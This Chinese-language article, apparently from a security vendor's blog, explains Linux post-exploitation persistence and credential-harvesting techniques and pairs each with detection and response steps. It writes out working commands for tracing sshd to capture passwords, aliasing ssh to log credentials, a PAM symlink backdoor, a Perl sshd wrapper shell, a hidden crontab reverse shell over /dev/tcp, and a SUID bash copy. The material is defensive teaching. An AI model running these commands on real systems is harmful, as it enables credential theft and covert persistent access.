• 【安全狗】Linux后渗透常见后门驻留方式分析


      引言

      当RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门定制持久化后门(免杀肯定是必须的)的前提下,他们会如何结合系统自身的某些特性,达到持久化控制的效果?

      BlueTeam在应急响应的过程中,又该如何尽早地排查出这些后门?为尽到“知己知彼,百战不殆”,本文将对Linux下常见的权限维持技术和凭据收集技术进行解析,希望能对从事攻防对抗研究的小伙伴有所帮助。

      二

      Strace获取登陆凭证

      1

      strace获取登陆凭证原理

      凭证将会通过strace追踪到系统sshd进程,并将追踪到的信息保存到log文件,这些信息中包含了系统明文密码以及ssh私钥。

      2

      strace获取登陆凭证实现

      strace获取登陆凭证利用条件包括:

      内核版本>Linux Kernel 3.4支持完全限制或禁用ptrace的功能。

      具有kernel.yama.ptrace_scope限制和禁用。

      具体实现

      获取sshd进程明文密码。可使用括号执行程序,然后退出当前shell,并用ssh登录其他主机。

      (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

      

    图1

      strace捕获到的凭证将会保存在/tmp/.sshd.log文件下:

    图2

      3

      Strace获取登陆凭证检测响应

      1)使用ps工具查看系统中的strace进程。

    图3

      2)使用kill工具阻断进程运行。

    图4

      三

      Alias获取登陆凭证

      1

      Alias获取登陆凭证原理

      给指定程序设置命令别名,使运行指定程序时自动strace读写系统调用,收集登录凭证。

      2

      Alias获取登陆凭证实现

      1)在终端中执行。

      # 添加命令别名vi ~/.bashrc或者/etc/bashrcalias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'# 使命令别名立即生效source ~/.bashrc

    图5

      2)通过查看日志文件,能看到有系统凭证的信息。

    图6

      3

      Alias获取登陆凭证检测响应

      1)使用alias工具即可发现异常

    图7

      2)打开.bashrc文件,查看并清除后门命令。

    图8

      四

      SSH软连接后门

      1

      SSH软连接后门原理

      软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),su在pam_rootok只检测uid 0即认证成功,导致了可以使用任意密码登录。

      2

      SSH软连接后门实现

      1)在靶机上安装ssh后门,执行。

      ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

      2)攻击机中用ssh终端连接工具,密码随意填写即可实现任意密码登录。

    图9

      笔者在测试环境下还发现有”chsh”、”chfn”等shell程序包含pam_rootok.so,均能够用于SSH软连接后门的植入。

    图10

      3

      SSH软连接后门检测响应

      1)查看系统当前端口状态。

      这类后门会开启监听端口,我们可以先查看/etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件、杀掉进程、关闭PAM认证即可。

      find /etc/pam.d/ |xargs grep "pam_rootok.so"netstat -antlp |grep -E "su|chsh|chfn|runuser"

    图11

      2)查看系统登录日志

    图12

      五

      SSH公钥免密登陆后门

      1

      公钥免密后门原理

      ssh无密码登录要使用公钥与私钥。linux下可以用ssh-keygen生成公钥/私钥,即利用密钥认证登录。

      2

      公钥免密登录后门实现

      1)在攻击机上生成公钥文件,“回车”默认配置。

      ssh-keygen -t rsa

      2)将攻击机上的id_rsa.pub文件拷贝至靶机。

      1.ftp、scp等工具上传至靶机或者U盘植入;2.将公钥文件放置vps服务器,然后靶机用wget/curl下载;3.各类可用于远程传输的工具均可(如:nc)。

    图13

      3)攻击机ssh连接靶机,无需密码认证。

    图14

      3

      公钥免密登陆后门检测响应

      1)查看系统当前登录状态。

    图15

      六

      SSH wrapper后门

      1

      SSH wrapper后门原理

      Linux中init首先启动的是/usr/sbin/sshd,原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。如果这个子进程的标准输入输出已被重定向,那么getpeername能获取到客户端的TCP端口,将会派生给执行sh命令执行的权限。简而言之就是反弹shell,与常见的反弹shell不同的是,SSH wrapper后门通过长连接反弹shell的方式,使得攻击者在退出终端后仍然能进行连接。

      2

      SSH wrapper后门实现

      1)在靶机(服务端)中执行监听,终端中执行。

      cd /usr/sbin/mv sshd ../bin/echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart

      2)在攻击机(客户端)中执行连接命令,获得一个命令执行权限的shell。

    图16

      3

      SSH wrapper后门检测响应

      1)查看sshd文件修改状况。

      ls -al /usr/sbin/sshdcat /usr/sbin/sshd

    图17

      2)清除SSH wrapper后门。

      通过重装ssh服务清除SSH wrapper后门。

      七

      Cron后门

      1

      Cron后门原理

      crontab命令用于设置周期性被执行的指令,可以把cron设置为开机时自动启动。攻击者将恶意代码或程序隐藏在系统磁盘中,并由计划任务调用时启动它们。

      2

      Cron后门实现

      1)平平无奇的Cron后门。

      (crontab -l;echo '*/1 * * * * /bin/bash /tmp/1.sh;/bin/bash --noprofile -i')|crontab -

      能用crontab-l命令查看到具体内容。

    图18

      2)隐蔽的Cron后门。

      (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

      用crontab-l命令则无法查看到具体内容。

    图19

      这是因为利用到了cat工具的特性。cat默认支持一些如\r回车符、\n换行符、\f换页符等,也就是这些符号导致的能够隐藏命令。

      3)攻击机获得shell连接。

    图20

      3

      Cron后门检测响应

      1)查看可疑的计划任务。

      crontab -e

      2)使用vim命令在cron创建的文件下查找并清除恶意代码。

    图21

      八

      SUID Shell后门

      1

      SUID Shell后门原理

      Suid shell是一种可用于以拥有者权限运行的shell。攻击者将原有的bash进程copy并隐藏,给予可执行的权限,达到隐藏后门的目的。

      2

      SUID Shell后门实现

      1)在终端中执行如下命令。

      # cp /bin/bash /tmp/shell# chmod u+s /tmp/shell用普通权限用户执行shell程序。$ /tmp/shell -p

    图22

      3

      SUID Shell后门检测响应

      1)在Linux中查找SUID设置的文件。

      图23

      2)取消shell程序的s权限。

      chmod u-s /tmp/shell

      九

      Tcp wrapper后门

      1

      Tcp wrapper后门原理

      TCP_Wrappers(一个工作在应用层的安全工具),通过修改配置文件hosts.allow,实现tcpd(Tcp Wrapper的守护进程)的截获请求。每当有ssh的连接请求时,如若请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可配置执行命令。

      2

      Tcp wrapper后门实现

      1)编辑配置文件,并写入恶意代码。

    图24

      2)在攻击机上开启本地端口监听。

      

    图25

      3)连接目标服务器的22端口,触发后门,无需输入密码,监听端口将会获得shell连接。

    图26

      3

      Tcp wrapper后门检测响应

      1)在/etc/hosts.allow文件中查找并删除恶意代码。

      图27

      十

      Systemd服务后门

      1

      Systemd服务后门原理

      Linux下的服务启动后门,可创建或配置系统服务文件中的ExecStart参数,实现启动服务时,调用恶意代码的执行。

      2

      Systemd服务后门实现

      1)创建服务描述文件。

    图28

      2)编辑backdoor.service文件,加入下面的内容。

    图29

      3)给予执行权限,并重新读取服务信息,使得服务生效。

    图30

    图31

      4)在启动服务后,攻击机监听的端口将会返回一个shell。

    图32

      3

      Systemd服务后门检测响应

      1)在/usr/lib/systemd/system下的服务文件中查找并删除恶意代码。

    图33

      十一

      Vim python2拓展后门

      1

      Vim python2扩展后门原理

      vim安装时默认安装了当前服务器的python版本的扩展,利用该扩展,可以用vim的扩展pyfile来执行python脚本。

      2

      Vim python2扩展后门实现

      1)在靶机上创建python反弹shell脚本attck.py。

    图34

      2)在攻击机中开启端口监听。

    图35

      3)靶机在执行vim-E-c"pyfile attck.py"命令后,攻击机监听的端口将会返回shell。

    图36

      3

      Vim python2扩展后门检测响应

      1)查看当前系统是否有可疑的网络连接;

      图37

      2)定位到vim进程,查看执行的命令调用了python扩展;

    图38

      3)定位到可疑脚本路径,查找并清除可疑后门脚本;

    图39

      十二

      安全狗的后门检测案例介绍

      Linux系统中后门驻留的方式花样繁杂,任何一个配置、一个语句、一行代码,都会给攻击者可乘之机。如今内网攻击手段越来越趋于隐蔽化,攻击者在进入内网系统环境后操作更加谨慎,为达到隐匿自己行踪的目的,攻击者会开启常用端口作为网络连接回传,从而误导防守者的研判与分析。

      以下“Tcp wrapper后门”为例,攻击者利用443端口回传数据。总所周知,443端口是https协议传输端口,而攻击者将其tcp回传用https障眼。而在进程行为中,并无可疑的命令执行。

    图40

      多数防守者在发现端口是443就默认会放过,因为系统中成百上千条进程网络连接就够防守者头痛了。而少部分防守者在发现443端口协议应该是https而非tcp的端倪时,却很难继续往系统内部溯源发现是hosts.allow配置文件驻留有后门代码,顶多就用微步等网络测绘工具查看目的地址是否标记恶意或非恶意,若是非恶意则就不了了之,殊不知已然酿成大祸。

      安全狗的云眼主机防御系统能实时对主机异常行为做研判分析。以上述的“Tcp wrapper后门”为例,通过定时采集系统中能被作用于后门驻留的配置文件做规则匹配,快速定位到对应的配置文件及后门恶意代码内容,快速响应。

    图41

      目前,云眼针对后门驻留的检测规则有数百条,除了文章中演示的linux常见后门以外,还支持对各类反弹shell后门脚本的检测。

    图42

    图43

  • 相关阅读:
    大型语言模型RAG(检索增强生成):检索技术的应用与挑战
    ps提示由于找不到MSVCP140.dll是怎么回事?MSVCP140.dll修复方法
    Java#4(各类语句和一点小练习)
    什么是指针数组和数组指针?
    【Vue项目复习笔记】Vuex-action返回Promise-mapActions
    P3613 【深基15.例2】寄包柜题解
    Java8新特性--函数式接口
    【C++】: auto关键字(C++11)+基于范围的for循环(C++11)+指针空值nullptr(C++11)
    【Python机器学习】利用AdaBoost元算法提高分类性能——基于数据集多重抽样的分类器
    自己动手从零写桌面操作系统GrapeOS系列教程——18.外设和IO
  • 原文地址:https://blog.csdn.net/bocco/article/details/127651448